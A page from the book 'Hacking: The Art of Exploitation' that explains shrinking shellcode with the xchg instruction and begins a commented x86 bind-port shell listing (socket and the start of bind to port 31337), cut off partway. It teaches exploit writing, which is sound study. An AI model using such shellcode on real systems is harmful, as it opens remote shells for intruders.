Hacking - The Art of Exploitation, 2nd Edition

(Romina) #1

312 0x500


The first two instructions before the loop can be shortened with the xchg
(exchange) instruction. This instruction swaps the values between the source
and destination operands:

This single instruction can replace both of the following instructions,
which take up four bytes:

89 C3 mov ebx,eax
31 C0 xor eax,eax

The EAX register needs to be zeroed to clear only the upper three bytes
of the register, and EBX already has these upper bytes cleared. So swapping
the values between EAX and EBX will kill two birds with one stone, reduc-
ing the size to the following single-byte instruction:

93 xchg eax,ebx

Since the xchg instruction is actually smaller than a mov instruction between
two registers, it can be used to shrink shellcode in other places. Naturally, this
only works in situations where the source operand’s register doesn’t matter.
The following version of the bind port shellcode uses the exchange instruction
to shave a few more bytes off its size.

bind_shell.s


BITS 32

; s = socket(2, 1, 0)
push BYTE 0x66 ; socketcall is syscall #102 (0x66).
pop eax
cdq ; Zero out edx for use as a null DWORD later.
xor ebx, ebx ; Ebx is the type of socketcall.
inc ebx ; 1 = SYS_SOCKET = socket()
push edx ; Build arg array: { protocol = 0,
push BYTE 0x1 ; (in reverse) SOCK_STREAM = 1,
push BYTE 0x2 ; AF_INET = 2 }
mov ecx, esp ; ecx = ptr to argument array
int 0x80 ; After syscall, eax has socket file descriptor.

xchg esi, eax ; Save socket FD in esi for later.

; bind(s, [2, 31337, 0], 16)
push BYTE 0x66 ; socketcall (syscall #102)
pop eax
inc ebx ; ebx = 2 = SYS_BIND = bind()

Instruction Description
xchg <dest>, <source> Exchange the values between the two operands.
Free download pdf